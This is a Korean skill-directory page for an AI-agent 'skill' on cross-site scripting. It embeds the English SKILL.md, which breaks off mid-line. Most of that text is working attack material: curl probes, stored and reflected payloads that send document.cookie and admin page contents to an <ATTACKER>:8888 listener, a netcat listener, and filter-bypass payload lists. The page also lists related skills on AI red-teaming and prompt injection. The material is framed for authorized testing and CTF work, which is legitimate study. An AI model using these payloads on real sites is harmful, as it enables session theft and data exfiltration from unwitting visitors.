xss
하는 일
이 가이드는 앱이 신뢰할 수 없는 코드를 방문자 브라우저에서 실행하는 크로스 사이트 스크립팅 결함을 다룹니다. 입력과 출력이 어떻게 정리되는지 확인하는 개발자와 보안 테스터를 위한 것입니다.
사용하는 경우
- ✓허가된 테스트에서 입력이 페이지에 그대로 나타나는 것을 발견했을 때.
- ✓검색, 댓글, 프로필 필드의 사용자 내용이 다른 방문자 화면에 보일 때.
- ✓팀이 콘텐츠 보안 정책을 스크립트 주입에 대해 점검하려는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리 검색 페이지가 사용자가 입력한 내용을 정리하지 않고 보여 주는 것 같습니다. 이것이 크로스 사이트 스크립팅 위험인지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 해롭지 않은 표식 텍스트를 보내 이스케이프되지 않은 채 페이지에 나타나는지 확인하고, 올바른 인코딩이나 더 엄격한 콘텐츠 정책이 필요한 위치를 보고합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Cross-Site Scripting (XSS) Exploitation
Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.
Win Condition — Identify FIRST
Pattern A — Bot/Cookie Chain (classic CTF):
- A headless browser bot visits a URL you supply via
/reportor/contact - Goal: exfiltrate
document.cookieor admin page content to your listener - Signals:
/reportendpoint exists, challenge mentions "admin visits", cookie in session
Pattern B — Server-Side Alert Trigger (Cross 30/31/32 series):
- NO bot, NO cookie exfiltration, NO
/reportendpoint (returns 404) - The challenge evaluates reflected JS server-side;
alert("XSS")oralert(1)in the response = flag - Flag appears directly in the HTTP response body when alert triggers
- Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag",
new_umbrella/error_umbrellain response, alphanumeric filter active - Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError)
Quick check which pattern:
curl -s "$TARGET/report" -o /dev/null -w "%{http_code}" # 404 = Pattern B (Cross)
curl -s "$TARGET/" | grep -i "report\|bot\|admin" # Pattern A signals
Detection
# Reflected XSS probe — check if input is reflected unescaped
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'
# Check for reflection in different contexts
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test' # attribute context
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test" # JS string context
# Test attribute injection
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'
# Test common input fields via POST
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>'
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'
Stored XSS with Bot Exfiltration (CTF Pattern)
The standard CTF XSS workflow:
- Find a stored input (comments, profiles, messages)
- Inject a payload that exfiltrates data when the admin bot views it
- Trigger the bot (usually a
/reportendpoint) - Receive exfiltrated flag on your listener
# 1. Start a listener to receive exfiltrated data
python3 -m http.server 8888 &
# Or use netcat:
nc -lvnp 8888 &
# 2. Inject stored XSS that exfiltrates cookies
# Basic cookie steal
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
# Image tag (bypasses many filters that block <script>)
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'
# SVG-based
curl -s 'http://<TARGET>/comment' -d 'body=<svg onload="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'
# Fetch admin page content and exfiltrate
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/admin").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?d="+btoa(t)))</script>'
# Fetch sensitive endpoint directly (adjust path to observed app structure)
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/api/secret").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?f="+btoa(t)))</script>'
# 3. Trigger the bot to visit the page with injected XSS
curl -s 'http://<TARGET>/report' -d 'url=http://<TARGET>/page-with-stored-xss'
curl -s 'http://<TARGET>/report' -d 'url=/page-with-stored-xss'
# 4. Check listener output — decode base64 if used
echo '<base64_response>' | base64 -d
Reflected XSS Flag Extraction
# If the flag is in the admin's cookie and there's a report/visit endpoint:
# Craft URL with reflected XSS that steals cookies
PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
curl -s "http://<TARGET>/report" -d "url=http://<TARGET>/search?q=$ENCODED"
Filter Bypass Techniques
# Case variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
# No parentheses
<img src=x onerror="alert`1`">
<img src=x onerror="window['alert'](1)">
# No quotes / no spaces
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>
# HTML entity encoding bypass
<img src=x onerror="alert(1)">
# JavaScript URL scheme
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
# Event handlers (bypass <script> tag bloc
자주 묻는 질문
세 가지 유형은 무엇인가요?
가이드는 반사형, 저장형, DOM 기반 크로스 사이트 스크립팅을 다룹니다.
콘텐츠 보안 정책이란 무엇인가요?
페이지가 실행할 수 있는 스크립트를 제한하는 브라우저 설정이며, 가이드는 이를 방어 수단으로 언급합니다.
발견 사항은 어떻게 확인하나요?
테스트 텍스트가 인코딩되어야 할 페이지에서 이스케이프되지 않은 채 나타난다는 것을 보여 주어 확인합니다.
상세 정보
작성자의 원본 설명
Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14088
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.